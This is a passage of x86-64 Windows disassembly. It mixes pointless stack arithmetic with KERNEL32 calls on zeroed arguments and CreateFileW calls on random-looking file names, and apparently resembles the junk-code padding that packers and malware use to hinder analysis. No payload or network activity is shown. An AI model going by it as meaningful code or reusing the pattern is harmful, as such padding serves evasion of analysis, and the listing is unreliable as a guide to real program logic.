mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4748], eax
lea rax, [rsp + 0x345]
mov qword [rsp + 0x9f08], rax
lea rdx, [rsp + 0x4694]
mov rcx, qword [rsp + 0x9b50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x468c], eax
movsx eax, word [rsp + 0x1c9c]
movsx ecx, word [rsp + 0x1c88]
and eax, ecx
mov word [0x140229f38], ax
mov rax, qword [rsp + 0x9e40]
movzx eax, word [rax]
movzx ecx, word [0x14022b8e0]
xor eax, ecx
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0x9e98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9b48]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1cb4], ax
mov rax, qword [rsp + 0x9780]
mov qword [rsp + 0x9f10], rax
lea rcx, [rsp + 0x9688]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9cc0]
mov rcx, qword [rsp + 0x9c40]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x97e0]
mov dword [rcx], eax
lea rax, [rsp + 0x346]
mov qword [rsp + 0x9f18], rax
mov rax, qword [rsp + 0x9c08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a68]
mov qword [rsp + 0x9f20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9f20]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8c20], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9f28], rax
movsx eax, word [rsp + 0x1cb8]
mov rcx, qword [0x14022b8a0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c18]
mov word [rcx], ax
mov rax, qword [rsp + 0x9888]
movzx eax, word [rax]
mov word [rsp + 0x1cf8], ax
lea rdx, [rsp + 0x4648]
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x46dc], eax
mov rax, qword [rsp + 0x7278]
mov rcx, qword [rsp + 0x8180]
sub rcx, rax
mov rax, rcx
mov qword [0x140229f60], rax
movzx eax, word [rsp + 0x1cf0]
movzx ecx, word [rsp + 0x1384]
and eax, ecx
mov word [rsp + 0x1cbc], ax
mov rax, qword [rsp + 0x9c58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9828]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7848], rax
mov rax, qword [rsp + 0x9c80]
mov rcx, qword [rsp + 0x97d8]
mov qword [rsp + 0x9f30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9f30]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9ca0], rax
movsx eax, byte [rsp + 0x342]
movsx ecx, byte [rsp + 0x277]
imul eax, ecx
mov byte [rsp + 0x34d], al
mov rax, qword [rsp + 0x9990]
mov eax, dword [rax]
mov dword [rsp + 0x4778], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9f38], rax
mov eax, dword [rsp + 0x4744]
mov ecx, dword [rsp + 0x4630]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9be0]
mov dword [rcx], eax
lea rcx, [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9d40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x147]
and eax, ecx
mov byte [rsp + 0x8f], al
mov rax, qword [rsp + 0x9e00]
mov rcx, qword [rsp + 0x8ef0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9730], rax
mov rax, qword [rsp + 0x9bd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1518]
shl eax, cl
mov rcx, qword [0x14022b8a0]
mov word [rcx], ax
lea rax, [rsp + 0x1ca0]
mov qword [rsp + 0x9f40], rax
movzx eax, word [rsp + 0x1cc8]
movzx ecx, word [rsp + 0x1bc4]
or eax, ecx
mov word [rsp + 0x87c], ax
movzx eax, word [0x140229f40]
movzx ecx, word [rsp + 0x1cbc]
sar eax, cl
mov rcx, qword [rsp + 0x96c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x98e8]
mov eax, dword [rax]
mov dword [rsp + 0x477c], eax
mov rax, qword [rsp + 0x9988]
mov rcx, qword [rsp + 0x75e8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9d98], rax
mov rax, qword [rsp + 0x9ee8]
movzx eax, byte [rax]
mov byte [rsp + 0x356], al
mov rax, qword [rsp + 0x9880]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10c0]
sub eax, ecx
mov rcx, qword [rsp + 0x9cb0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1a90]
movzx ecx, word [0x14022b898]
sub eax, ecx
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0x9c78]
mov rcx, qword [rsp + 0x9be8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x140229f20], rax
mov rax, qword [rsp + 0x9ed8]
mov rcx, qword [rsp + 0x9a80]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8d50], rax
mov rax, qword [rsp + 0x9c80]
movzx ecx, al
mov rax, qword [0x14022b8a8]
sar rax, cl
mov qword [rsp + 0x8d50], rax
mov rax, qword [rsp + 0x9ed0]
mov qword [rsp + 0x9f48], rax
mov rax, qword [rsp + 0x9b48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e90]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1660], ax
lea rdx, [rsp + 0x46f0]
mov rcx, qword [rsp + 0x9e50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4664], eax
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9e10]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2a0], al
mov rax, qword [rsp + 0x99c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4744]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3dc8], eax
mov rax, qword [rsp + 0x9d00]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x77b0]
shl rax, cl
mov qword [rsp + 0x9730], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9f50], rax
mov rax, qword [rsp + 0x9990]
mov eax, dword [rax]
mov dword [rsp + 0x4780], eax
movzx eax, byte [rsp + 0x133]
mov byte [0x14022b812], al
mov rax, qword [rsp + 0x9f40]
movsx eax, word [rax]
movsx ecx, word [0x14022b828]
or eax, ecx
mov word [rsp + 0x17d8], ax
mov rax, qword [rsp + 0x9c30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ee0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1518], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
movzx eax, word [rsp + 0x1ce0]
mov word [rsp + 0x1cfc], ax
mov rax, qword [rsp + 0x9de8]
mov rcx, qword [rsp + 0x9c80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d80]
mov qword [rcx], rax
lea rcx, [rsp + 0x9d30]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9a68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97e8]
mov qword [rsp + 0x9f58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9f58]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x7450], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov rax, qword [rsp + 0x9990]
mov ecx, dword [rsp + 0x4484]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4778], eax
lea rdx, [rsp + 0x46f0]
mov rcx, qword [rsp + 0x9c38]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4784], eax
mov rax, qword [rsp + 0x9750]
movzx eax, byte [rax]
mov byte [rsp + 0x357], al
mov rax, qword [rsp + 0x9880]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9bd0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9b80]
mov word [rcx], ax
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e98]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14022b910], ax
mov rax, qword [rsp + 0x9d38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x82e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8078], rax
mov rax, qword [rsp + 0x9888]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ce0]
sub eax, ecx
mov word [rsp + 0x12b4], ax
movzx eax, byte [0x140229f1d]
mov rcx, qword [rsp + 0x9a48]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xa9], al
mov eax, dword [rsp + 0x39f0]
mov dword [rsp + 0x4788], eax
mov rax, qword [rsp + 0x9d98]
movzx ecx, al
mov rax, qword [rsp + 0x8c20]
shr rax, cl
mov rcx, qword [rsp + 0x9a68]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0x9b20]
movsx eax, byte [rax]
cdq
mov ecx, 0x69
idiv ecx
mov rcx, qword [rsp + 0x9ee8]
mov byte [rcx], al
lea rax, [rsp + 0x3e6c]
mov qword [rsp + 0x9f60], rax
lea rcx, [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c18]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x17d8], ax
mov r9d, 0x11ec
xor r8d, r8d
lea rdx, [rsp + 0x9f38]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x478c], eax
movzx eax, word [0x14022b8d0]
mov word [0x14022b914], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rax, [rsp + 0x8ca8]
mov qword [rsp + 0x9f68], rax
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9eb8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ca8], rax
mov rax, qword [rsp + 0x9bd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c90]
or eax, ecx
mov word [rsp + 0x1518], ax
mov rax, qword [rsp + 0x9b48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9da0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x968], ax
movsx eax, byte [rsp + 0x349]
movsx ecx, byte [0x14022b810]
sub eax, ecx
mov rcx, qword [rsp + 0x9ea8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d00]
mov rax, qword [rax]
mov qword [rsp + 0x9f70], rax
mov eax, dword [rsp + 0x3b40]
mov ecx, dword [rsp + 0x41ec]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96e0]
mov dword [rcx], eax
lea rcx, [rsp + 0x9778]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x9eb8]
mov qword [rsp + 0x9f78], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xbf3f
mov rcx, qword [rsp + 0x9ea0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4790], eax
mov r9d, 0xaf1
xor r8d, r8d
lea rdx, [rsp + 0x9948]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x45e4], eax
movsx eax, word [0x14022b828]
movsx ecx, word [rsp + 0x1c88]
sar eax, cl
mov word [0x140229f68], ax
lea rdx, [rsp + 0x4794]
mov rcx, qword [rsp + 0x9c38]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4738], eax
lea rcx, [rsp + 0x9d30]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x19bc]
movzx ecx, word [rsp + 0x1ca8]
sub eax, ecx
mov rcx, qword [rsp + 0x99f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xf3]
movzx ecx, byte [0x140229f1d]
add eax, ecx
mov rcx, qword [rsp + 0x9d40]
mov byte [rcx], al
lea rax, [rsp + 0x4750]
mov qword [rsp + 0x9f80], rax
mov rax, qword [rsp + 0x9b28]
mov rcx, qword [rsp + 0x76b0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x97d8]
mov qword [rcx], rax
lea rax, [rsp + 0x9d98]
mov qword [rsp + 0x9f88], rax
mov rax, qword [rsp + 0x9cf8]
movsx eax, byte [rax]
cdq
mov ecx, 0x60
idiv ecx
mov byte [rsp + 0x343], al
mov rax, qword [rsp + 0x98e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4230]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4764], eax
lea rax, [0x14022b8d4]
mov qword [rsp + 0x9f90], rax
movzx eax, word [rsp + 0xb30]
mov rcx, qword [rsp + 0x9e40]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14022b89c], ax
mov rax, qword [rsp + 0x9db8]
mov rcx, qword [rsp + 0x73c0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x98c0]
mov qword [rcx], rax
lea rax, [0x14022b900]
mov qword [rsp + 0x9f98], rax
mov rax, qword [rsp + 0x9c18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ee0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9b80]
mov word [rcx], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x3524
mov rcx, qword [rsp + 0x9c38]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x464c], eax
mov rax, qword [rsp + 0x9ed0]
mov rcx, qword [rsp + 0x9e70]
mov qword [rsp + 0x9fa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9fa0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x98c0]
mov qword [rcx], rax
lea rdx, [rsp + 0x4720]
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4798], eax
mov r9d, 0xa87
xor r8d, r8d
lea rdx, [rsp + 0x9e60]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4694], eax
mov rax, qword [0x14022b890]
mov eax, dword [rax]
mov dword [rsp + 0x479c], eax
movsx eax, byte [rsp + 0xa0]
mov rcx, qword [rsp + 0x9c20]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x99c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x97e8]
mov rcx, qword [rsp + 0x99e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7f78], rax
movzx eax, word [0x14022b898]
movzx ecx, word [rsp + 0x12b4]
sub eax, ecx
mov rcx, qword [rsp + 0x9b48]
mov word [rcx], ax
mov rax, qword [rsp + 0x9e38]
mov qword [0x14022b918], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x9489
mov rcx, qword [rsp + 0x9b50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47a0], eax
movzx eax, byte [rsp + 0x347]
mov rcx, qword [rsp + 0x9b18]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x34b], al
mov eax, dword [rsp + 0x460c]
mov dword [rsp + 0x47a4], eax
mov rax, qword [rsp + 0x9d20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c88]
and eax, ecx
mov word [rsp + 0x1ccc], ax
movzx eax, word [rsp + 0x1cc4]
movzx ecx, word [rsp + 0x1cfc]
sub eax, ecx
mov word [rsp + 0x17d0], ax
mov rax, qword [rsp + 0x9ef0]
mov rcx, qword [rsp + 0x9c08]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ef8], rax
lea rcx, [rsp + 0x9dc8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x355]
mov qword [rsp + 0x9fa8], rax
mov rax, qword [rsp + 0x9990]
mov ecx, dword [0x140229f30]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9c40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9890]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1c94], ax
movzx eax, word [rsp + 0x1cac]
movzx ecx, word [rsp + 0x1cd0]
add eax, ecx
mov word [0x14022b824], ax
lea rax, [0x14022b8e8]
mov qword [rsp + 0x9fb0], rax
mov rax, qword [rsp + 0x9d68]
mov rcx, qword [rsp + 0x9fb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8ca8], rax
lea rax, [rsp + 0x9a20]
mov qword [rsp + 0x9fb8], rax
movsx eax, word [0x140229f34]
movsx ecx, word [rsp + 0x1cd4]
xor eax, ecx
mov word [rsp + 0x1ce8], ax
mov rax, qword [rsp + 0x9f60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x447c]
shl eax, cl
mov dword [rsp + 0x4484], eax
movzx eax, byte [rsp + 0x350]
mov byte [rsp + 0x358], al
mov rax, qword [rsp + 0x6f80]
movzx ecx, al
mov rax, qword [rsp + 0x9730]
shr rax, cl
mov qword [rsp + 0x9670], rax
lea rax, [rsp + 0x45c8]
mov qword [rsp + 0x9fc0], rax
movzx eax, byte [rsp + 0xf3]
movzx ecx, byte [rsp + 0x354]
sub eax, ecx
mov byte [rsp + 0x34b], al
mov rax, qword [0x14022b8f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c18]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140229f6c], ax
movzx eax, word [rsp + 0x1ce4]
movzx ecx, word [rsp + 0x1384]
sub eax, ecx
mov rcx, qword [rsp + 0x9f98]
mov word [rcx], ax
movzx eax, word [rsp + 0x1c8c]
mov word [rsp + 0x1d00], ax
mov rax, qword [0x14022b870]
mov rcx, qword [rsp + 0x9b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9a20], rax
mov rax, qword [rsp + 0x9d60]
mov ecx, dword [rsp + 0x4710]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x41b0], eax
mov rcx, qword [rsp + 0x9b88]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x99e0]
mov rax, qword [rax]
mov rcx, qword [0x14022b818]
mov qword [rsp + 0x9fc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9fc8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9150], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
movsx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x9f18]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x343], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.32Qv1J4THVW
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9fd0], rax
mov rax, qword [rsp + 0x9848]
movzx eax, word [rax]
mov word [rsp + 0x1d04], ax
lea rcx, [rsp + 0x9678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9e08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ce4]
sub eax, ecx
mov word [rsp + 0x19bc], ax
mov rax, qword [rsp + 0x9ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca8]
add rcx, rax
mov rax, rcx
mov qword [0x140229f60], rax
lea rax, [rsp + 0x1cb4]
mov qword [rsp + 0x9fd8], rax
mov rax, qword [0x14022b888]
mov rcx, qword [rsp + 0x9780]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x82e8], rax
mov rax, qword [rsp + 0x9f68]
mov rcx, qword [rsp + 0x9a20]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7fd8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [rsp + 0x7f78]
mov rcx, qword [rsp + 0x9c08]
mov qword [rsp + 0x9fe0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9fe0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x75e8], rax
mov eax, dword [rsp + 0x3ff4]
mov ecx, dword [rsp + 0x3e6c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4768], eax
lea rax, [rsp + 0x347]
mov qword [rsp + 0x9fe8], rax
lea rdx, [rsp + 0x47a8]
mov rcx, qword [rsp + 0x9ea0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4684], eax
mov eax, dword [rsp + 0x4758]
mov rcx, qword [rsp + 0x9fc0]
mov qword [rsp + 0x9ff0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9ff0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x46ac], eax
lea rax, [rsp + 0x34d]
mov qword [rsp + 0x9ff8], rax
lea rcx, [rsp + 0x9dc8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0x1cf4]
movsx ecx, word [rsp + 0x1c9c]
sub eax, ecx
mov word [0x14022b820], ax
movsx eax, word [0x14022b828]
mov rcx, qword [rsp + 0x9b80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7b8], ax
movzx eax, word [rsp + 0x1cf8]
movzx ecx, word [rsp + 0x19bc]
and eax, ecx
mov rcx, qword [rsp + 0x9fd8]
mov word [rcx], ax
lea rax, [rsp + 0x1cd0]
mov qword [rsp + 0xa000], rax
mov rax, qword [rsp + 0x99e0]
mov rax, qword [rax]
mov rcx, qword [0x14022b808]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9ad8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cc0]
mov eax, dword [rax]
mov dword [rsp + 0x47ac], eax
mov rax, qword [rsp + 0x9ee8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x353]
sar eax, cl
mov rcx, qword [rsp + 0x99c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9f00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c88], ax
lea rdx, [rsp + 0x4714]
mov rcx, qword [rsp + 0x9a50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47a0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.94AAIAoDocl0SDHzvoU
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa008], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0x9b78]
movzx eax, word [rax]
mov word [rsp + 0x1d08], ax
lea rax, [rsp + 0x9cd8]
mov qword [0x14022b920], rax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x9db0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9d38]
mov qword [rcx], rax
lea rdx, [rsp + 0x4714]
mov rcx, qword [rsp + 0x9ea0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x470c], eax
mov rax, qword [rsp + 0x9e70]
mov rcx, qword [rsp + 0x9fb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8640], rax
mov rax, qword [0x14022b868]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9fb8]
mov qword [rsp + 0xa010], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa010]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x86c8], rax
lea rax, [rsp + 0x163c]
mov qword [rsp + 0xa018], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.TLSF59K8S_sGqgkA436Ey
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa020], rax
mov rcx, qword [rsp + 0x9f38]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x352]
mov rcx, qword [rsp + 0x9fe8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2a0], al
mov eax, dword [rsp + 0x39f0]
movzx ecx, al
mov eax, dword [rsp + 0x39bc]
sar eax, cl
mov rcx, qword [rsp + 0x99c8]
mov dword [rcx], eax
lea rdx, [rsp + 0x47b0]
mov rcx, qword [rsp + 0x9bf0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x478c], eax
lea rax, [rsp + 0x4774]
mov qword [rsp + 0xa028], rax
mov rax, qword [rsp + 0x9e00]
mov rcx, qword [rsp + 0x9cc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9878]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x5e31
mov rcx, qword [rsp + 0x9a50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4798], eax
lea rax, [rsp + 0xa0]
mov qword [0x14022b928], rax
lea rax, [0x140229f58]
mov qword [rsp + 0xa030], rax
mov rax, qword [rsp + 0x9c18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c9c], ax
mov rax, qword [rsp + 0x9f98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e08]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9fd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9cd0]
mov rax, qword [rax]
mov qword [rsp + 0xa038], rax
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rsp + 0x474c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x437c], eax
movsx eax, byte [rsp + 0x5c]
movsx ecx, byte [0x14022b811]
and eax, ecx
mov byte [rsp + 0x164], al
mov rax, qword [rsp + 0x9e00]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9670]
shr rax, cl
mov rcx, qword [rsp + 0x9ef0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9f00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d04], ax
movzx eax, word [0x14022b850]
mov word [0x14022b930], ax
mov rax, qword [rsp + 0x97d0]
mov qword [rsp + 0xa040], rax
mov rax, qword [rsp + 0x9dd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ce4]
add eax, ecx
mov rcx, qword [rsp + 0x9888]
mov word [rcx], ax
mov eax, dword [rsp + 0x4748]
mov ecx, dword [rsp + 0x39f0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a34], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rax, qword [rsp + 0x9e10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9d40]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov byte [rcx], al
mov rax, qword [rsp + 0x9fa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9e80]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9c20]
mov byte [rcx], al
lea rax, [rsp + 0x475c]
mov qword [rsp + 0xa048], rax
mov rax, qword [rsp + 0x9cc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c20]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d00]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x9e60]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x1d04]
mov qword [rsp + 0xa050], rax
movzx eax, word [0x14022b8e0]
movzx ecx, word [rsp + 0x1ce4]
sub eax, ecx
mov word [0x14022b8d0], ax
lea rcx, [rsp + 0xa058]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9b90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9eb0]
mov qword [rsp + 0xa060], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa060]
mov rax, qword [rax]
sar rax, cl
